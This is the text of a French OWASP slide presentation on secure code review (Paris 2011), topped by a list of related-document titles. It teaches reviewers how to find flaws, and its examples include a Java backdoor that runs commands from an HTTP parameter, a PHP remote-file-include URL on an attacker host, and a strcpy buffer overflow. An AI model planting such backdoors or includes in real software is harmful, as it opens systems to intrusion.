OWASP Code Review Guide Revue de code. Paris 2011. The OWASP Foundation. Victor Vuillard



Documents pareils
OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Sécurité des applications Retour d'expérience

Web Application Firewalls (WAF)

SQL Parser XML Xquery : Approche de détection des injections SQL

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Sécurité logicielle. École de technologie supérieure (ÉTS) MGR850 Automne 2012 Automne Yosr Jarraya. Chamseddine Talhi.

les techniques d'extraction, les formulaires et intégration dans un site WEB

Analyse statique de code dans un cycle de développement Web Retour d'expérience

Formation Webase 5. Formation Webase 5. Ses secrets, de l architecture MVC à l application Web. Adrien Grand <jpountz@via.ecp.fr> Centrale Réseaux

Bee Ware. Cible de Sécurité CSPN. Validation Fonctionnelle Validation Fonctionnelle Bon pour application AMOA BEEWARE BEEWARE

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

Urbanisation des SI Conduite du changement IT 20/03/09. Patrick CHAMBET

Introduction...3. Objectif...3. Manipulations...3. Gestion des utilisateurs et des groupes...4. Introduction...4. Les fichiers de base...

ADMINISTRATION DE ADOBE LIVECYCLE MOSAIC 9.5

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Revue de code Sécuritéou Test d Intrusion Applicatif. Quel est le plus efficace pour évaluer un niveau de sécurité applicatif?

Sécurité des Web Services (SOAP vs REST)

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Présentation de la solution Open Source «Vulture» Version 2.0

Expertises Métiers & e-business. Technologies Microsoft & OpenSource. Méthodologies et gestion de projet

La persistance des données dans les applications : DAO, JPA, Hibernate... COMPIL 2010 francois.jannin@inp-toulouse.fr 1

Outil de planification en ligne pour des créations de rendez-vous ou de sondage

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

ACTIVITÉ DE PROGRAMMATION

L'AAA, késako? Bruno Bonfils, fr.org>, Novembre Sous ce terme d'apparence barbare est regroupé l'ensemble des concepts suivants :


Tom Pertsekos. Sécurité applicative Web : gare aux fraudes et aux pirates!

Extension SSO Java. Cette note technique décrit la configuration et la mise en œuvre du filtre de custom SSO Java.

Structure d un programme et Compilation Notions de classe et d objet Syntaxe

Formation : WEbMaster

OpenPaaS Le réseau social d'entreprise

Authentification et contrôle d'accès dans les applications web

OZSSI NORD 4 JUIN LILLE. Conférence thématique: Sécurité des applications

WebSSO, synchronisation et contrôle des accès via LDAP

Web Tier : déploiement de servlets

TP JEE Développement Web en Java. Dans ce TP nous commencerons la programmation JEE par le premier niveau d une application JEE : l application web.

LemonLDAP::NG. LemonLDAP::NG 1.2. Clément OUDOT RMLL 9 juillet 2012

Iyad Alshabani SysCom - CReSTIC Université de Reims 17/02/2011 1

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

as Architecture des Systèmes d Information

Découvrir les vulnérabilités au sein des applications Web

Méthode de Test. Pour WIKIROUTE. Rapport concernant les méthodes de tests à mettre en place pour assurer la fiabilité de notre projet annuel.

Internet Information Services (versions 7 et 7.5) Installation, configuration et maintenance du serveur Web de Microsoft

Corrigé des exercices sur les références

Avant-propos 1. Avant-propos Organisation du guide À qui s'adresse ce guide?...4

Teste et mesure vos réseaux et vos applicatifs en toute indépendance

Conduite de projets informatiques Développement, analyse et pilotage (2ième édition)

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

1. Formation F5 - Local Traffic Manager Configuring (LTM)

Sécurité des Applications Web Comment Minimiser les Risques d Attaques les plus Courants

Programmer en JAVA. par Tama

PHP 5.4 Développez un site web dynamique et interactif

SITE WEB E-COMMERCE ET VENTE A DISTANCE

Projet de Java Enterprise Edition

Le stockage local de données en HTML5

JSSI mars 2012 Laurent Butti Orange France DMGP/PORTAIL

Sécurité des applications web. Daniel Boteanu

Prise en main du BusinessObjects XI R2 Service Pack 2/ Productivity Pack

Attaques applicatives

Single Sign-On open source avec CAS (Central Authentication Service) Vincent Mathieu Pascal Aubry Julien Marchal

Conception d'un système d'information WEB avec UML Par Ass SERGE KIKOBYA

Les BRMS Business Rules Management System. Groupe GENITECH

Plan du cours. Historique du langage Nouveautés de Java 7

La base de données XML exist. A. Belaïd

CQP Développeur Nouvelles Technologies (DNT)

Serveur Web Apache. Jean-Marc Robert Génie logiciel et des TI

Automatisation de l administration système

Sécuriser les applications web

Quelques patterns pour la persistance des objets avec DAO DAO. Principe de base. Utilité des DTOs. Le modèle de conception DTO (Data Transfer Object)

Notes de cours Practical BigData

INF2015 Développement de logiciels dans un environnement Agile. Examen intra 20 février :30 à 20:30

Programmation Web. Madalina Croitoru IUT Montpellier

Assurances & Mutuelles, Industrie, Santé, Énergie, Transport, Médias / Multimédias, Télécoms, Services

Notre Catalogue des Formations IT / 2015

Déployer une application Web avec WebMatrix et Ma Plateforme Web

BeEF : Browser Exploitation Framework

Par l'exemple de. Laurent Destailleur

Introduction au langage C

Mysql. Les requêtes préparées Prepared statements

Architecture et infrastructure Web

Introduction aux buffer overflow, CS335

Manuel d'installation

Rapport de certification ANSSI-CSPN-2010/05. ModSecurity v2.5.12

Expert technique J2EE

INGÉNIEUR - DÉVELOPPEUR EXPÉRIMENT É JAVA - J2EE. 27 ans - 5 ans d'expérience

Oauth : un protocole d'autorisation qui authentifie?

Service d'authentification LDAP et SSO avec CAS

Sage 100 CRM Guide de l Import Plus avec Talend Version 8. Mise à jour : 2015 version 8

PROSOP : un système de gestion de bases de données prosopographiques

Serveur d'archivage 2007 Installation et utilisation de la BD exist

Cours Master Recherche RI 7 Extraction et Intégration d'information du Web «Services Web»

Vulnérabilités et sécurisation des applications Web

Single Sign On. Nicolas Dewaele. Single Sign On. Page 1. et Web SSO

Qu'est ce qu'une Fédération d'identités? Définitions Fonctionnement de base Fonctionnement détaillé Les principaux composants

Le cloud computing au service des applications cartographiques à haute disponibilité

Transcription:

OWASP Code Review Guide Revue de code Paris 2011 Victor Vuillard Copyright The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org London 2010

Sommaire Introduction Revue manuelle ou automatisée? Process de revue de code Revue de code Quelques exemples OWASP Code Review Guide

Pourquoi faire de la revue de code? Démarche qualité Importance d'intégrer la sécurité en phase amont des projets

Pourquoi faire de la revue de code?

Pourquoi faire de la revue de code? Dispersion des résponsabilité et des sources de défauts ou de vulnérabilité : Développements internes Prestataires, externalisation (voire chaînage) Utilisation de frameworks et librairies externes Quelle est la qualité du code livré ou intégré?

Différentes approches Boîte noire (tests d'intrusion) OWASP Testing Guide Test d'intrusion manuel Boîte blanche (en disposant du code) OWASP Code Review Guide Revue manuelle de code Outils de recherche de vulnérabilités Analyse statique de code

Différentes approches Tests d'intrusion (TI) et revue de code sont complémentaires et peuvent être combinés TI plus démonstratif, parfois plus rapide Difficile en TI de tester tous les scénarios métier Manque d'exhaustivité Quelle est la conclusion d'un TI (réussi ou raté)? Un problème ponctuel permet de compromettre toute l'application, voire la plateforme d'hébergement Une partie de l'application est truffée de vulnérabilités, mais ne figure pas dans les scénarios testés

Qu'est ce que la revue de code? Processus d'audit du code source d'une application Permet de vérifier que : Les bons contrôles de sécurité sont présents Ils fonctionnent comme prévu Ils ont été mis en oeuvre à tous les endroits nécessaires L'application a été développée dans les règles de l'art Une fonction piégée n'est pas présente => La revue de code n'est qu'une sous partie du SDLC Cas d'utilisation Audit ponctuel Revue de code continue

Intégration avec le processus qualité Processus qualité Eviter l'effet tunnel Mode itératif Team review, pair programming (Scrum...) Exemples Tests unitaires, javadoc PMD, findbugs, CheckStyle Intégration et qualité continue : Xradar, Sonar, Hudson Certains outils d'analyse statique de code rentrent dans un processus similaire, proposent des métriques, s'interfacent avec les bugtrackers, etc.

Analyse manuelle ou automatisée? Avantages de l'analyse manuelle : Logique métier et contexte d'utilisation Cas spécifiques (données à caractère personnel, paiements électroniques, contraintes règlementaires...) Modèles de gestion de droits API non analysable par un outil, identification de contrôles externes Backdoors

Analyse manuelle ou automatisée? Inconvénients de l'analyse manuelle : Comment traiter des centaines de milliers de lignes de code? Lent et cher Besoin pour l'auditeur de maîtriser : Nombreux langages de programmation (Java, C/C++,.Net C# VB.Net, PHP, ASP, SQL, Coldfusion, etc...) Spécificité des frameworks (J{CMPL}F, Struts, Hibernate, ibatis, Spring, GWT, RoR...) Reproductibilité / comparaison Audit de la version N Comment vérifier rapidement la prise en compte des recommandations sur la version N+1?

Analyse manuelle ou automatisée? Avantage de l'analyse automatisée Rapidité et exhaustivité Large connaissance des fonctions et usages dangereux Inconvénients Proportion de faux positifs / faux négatifs Besoin d'une analyse et une confirmation manuelle Problèmes si l'ensemble du code n'est pas disponible Besoin d'une chaîne de compilation complète Et des librairies utilisées par le code audité (souvent nombreuses, parfois propriétaires) Mauvaise identification de problèmes logiques Lié à la qualité des signatures et méthodes d'analyse Parfois un peu stupides (règles du genre grep -ri password * ) => Combinaison revues de code manuelle et automatisée L'analyse statique de code n'est qu'un outil parmi d'autres

Analyse statique de code Méthodes d'analyse : Analyse sémantique, utilisation de fonctions dangereuses Data flow, data tainting Séquence d'opérations, analyse de structures de données Fichiers de configuration (ex : serveur d'application) Exemples d'outils Fortify, Coverity, Appscan RIPS (PHP) Google CodePro AnalytiX (Java) OWASP Orizon et Code Crawler

Exemple

Exemple de problème non détecté par l'analyse statique Backdoors if ( request.getparameter( "backdoor" ).equals( "C4A938B6FE01E" ) ) { Runtime.getRuntime().exec( req.getparameter( "cmd" ) ); } Paramètre HTTP malveillant Code normal pour un outil d'analyse statique de code (en dehors des questions de validation des entrées) For more on Java Enterprise Malware/Rootkits see: Jeff Williams: http://www.aspectsecurity.com/documents/enterprisejavarootkits.zip

Revue de code dans le SDLC Secure Requirements Review Secure Design Review Secure Code Review Penetration Testing Requirements Definition Design Develop Test Deploy/ Implement Maintain

Process de revue de code

Prise en compte du contexte La revue de code met en valeur des défauts Nécessité de les prioriser Surface d'attaque Définition des scénarios d'attaque Ex : mon outil d'analyse de code remonte une injection SQL, mais la valeur de la variable provient d'un fichier de configuration du serveur, uniquement modifiable par un admin. Impact technique Impact métier Coût et facilité de corriger la vulnérabilité

Modèles

Revue de code Par fonction de sécurité Par type de vulnérabilité Vérification des entrées Authentification et gestion de session Gestion de droits Logique métier Buffer overflow, integer overflow, off by one Format string Injections de commandes, SQL ou LDAP Crypto (chiffrement, hashs, signature) Gestion des erreurs, divulgation d'informations Journalisation/audit Méthodes de déploiement, configuration des serveurs, environnement d'hébergement Race conditions XSS, CSRF Traversée de répertoires Manipulation de journaux Gestion de mots de passe

Suivi des flux de données Entrées Entrées utilisateur(formulaires, champs hidden, GET POST), Cookies, entêtes HTTP... Fichiers de config, variables d'environnement Bases de données, fichiers plats Sources externes, WebServices... Potentielle vérification Echappement, encodate Traitements divers Requête SQL, PreparedStatement, HQL...

Suivi des flux de données Donnée Stockée Récupération de paramètres Nouvelle vérification et encodage Présentation à l'utilisateur

Gestion des entrées Entrées souvent filtrées de manières plus laxistes : Champs de recherche Commentaires ou zones de texte plus ouvertes Champs cachés Cookies et entêtes HTTP

Authentification et gestion de droits Gestion de l'authentification Suivi de session Exemple classique : Identifiants de sessions incrémentaux Session fixation CSRF Gestion de droits Exemple classique : Suivant le type d'utilisateur authentifié, seule une partie du menu est affiché, mais sans empêcher strictement un utilisateur d'exécuter une fonction qui devrait lui être interdite

Gestion de droits Vérification des droits à chaque requête String action = request.getparameter("action") if (action == "dostuff"){ boolean permit = session.authtable.isauthorised(action); // check table if authoirsed to do action } if (permit){ dostuff(); }else{ throw new (InvalidRequestException("Unauthorised request"); // inform user of no authorization session.invalidate(); // Kill session }

Gestion de fichiers Path traversal Upload de fichiers interprétable Gestion des accès aux fichiers Bad Example: public static void main(string[] args) { File x = new File("/cmd/" + args[1]); String abspath = x.getabsolutepath(); } Good Example: public static void main(string[] args) throws IOException { File x = new File("/cmd/" + args[1]); String canonicalpath = x.getcanonicalpath(); }

Buffer overflow, format string... Cas dangereux : Arrays: int x[20]; int y[20][5]; int x[20][5][3]; Format Strings: printf(),fprintf(), sprintf(), snprintf(). %x, %s, %n, %d, %u, %c, %f Over flows: strcpy (), strcat (), sprintf (), vsprintf () Types de fonctions : strcpy() strncpy() strlcpy() Cas d'école du buffer overflow : void copydata(char *userid) { char smallbuffer[10]; // size of 10 strcpy(smallbuffer, userid); } int main(int argc, char *argv[]) { char *userid = "01234567890"; // Payload of 11 copydata (userid); // this shall cause a buffer overload }

PHP Global Variables Initialization Error handling File Manipulation Files in the document root HTTP request Handling Positive input validation Global Variables Problème d'inclusion en PHP quand register_globals n'est pas désactivé <?PHP include "$dir/script/dostuff.php";?> Avec register_globals activé, la variable $dir peut être passée en paramètre :?dir=http://www.haxor.com/gimmeeverything.php Ce qui entraîne : <?PHP include "http://www.haxor.com/gimmeeverything.php";?>

Frameworks - Struts... <struts-config> <form-beans> <form-bean name="login" type="test.struts.loginform" /> </form-beans> <global-forwards> struts-config.xml définit un mapping et des actions pour chaque requête HTTP </global-forwards> <action-mappings> <action path="/login type="test.struts.loginaction" > <forward name="valid" path="/jsp/mainmenu.jsp" /> <forward name="invalid" path="/jsp/loginview.jsp" /> </action> </action-mappings> <plug-in classname="org.apache.struts.validator.validatorplugin"> <set-property property="pathnames" value="/test/web-inf/validator-rules.xml, /WEB-INF/validation.xml"/> </plug-in> </struts-config>

Frameworks -.Net Fichier de configuration en XML web.config : paramètres de IIS et définition de configurations pour l'application.net authentication mode="forms"> <forms name="name" loginurl="url" protection="encryption" timeout="30" path="/" > requiressl="true " slidingexpiration="false"> <credentials passwordformat="clear"> <user name="username" password="password"/> </credentials> </forms> <passport redirecturl="internal"/> </authentication> Important : L'audit du code source n'est pas suffisant et il faut analyser aussi la configuration des frameworks <configuration> <system.web> <pages validaterequest="true" /> </system.web> </configuration>

The OWASP Code Review Top 9 1. Input validation 2. Source code design 3. Information leakage and improper error handling 4. Direct object reference 5. Resource usage 6. API usage 7. Best practices violation 8. Weak Session Management 9. Using HTTP GET query strings

OWASP Code Review Guide https://www.owasp.org/index.php/owasp_code_review_guide_table_of_contents Méthodologie Préparation, modélisation de l'application, analyse de risques Parcours du code Fonctions Java, ASP, AJAX Compliance PCI-DSS Revue par type de contrôle technique Auth, droits, session, gestion des entrées et des erreurs, crypto Exemples par type de vulnérabilités Overflows, injections de commande et SQL, XSS, CSRF, race condition... Langages Java, ASP, PHP, C/C++, MySQL, RIA (Flash, Ajax, WebServices) Automatisation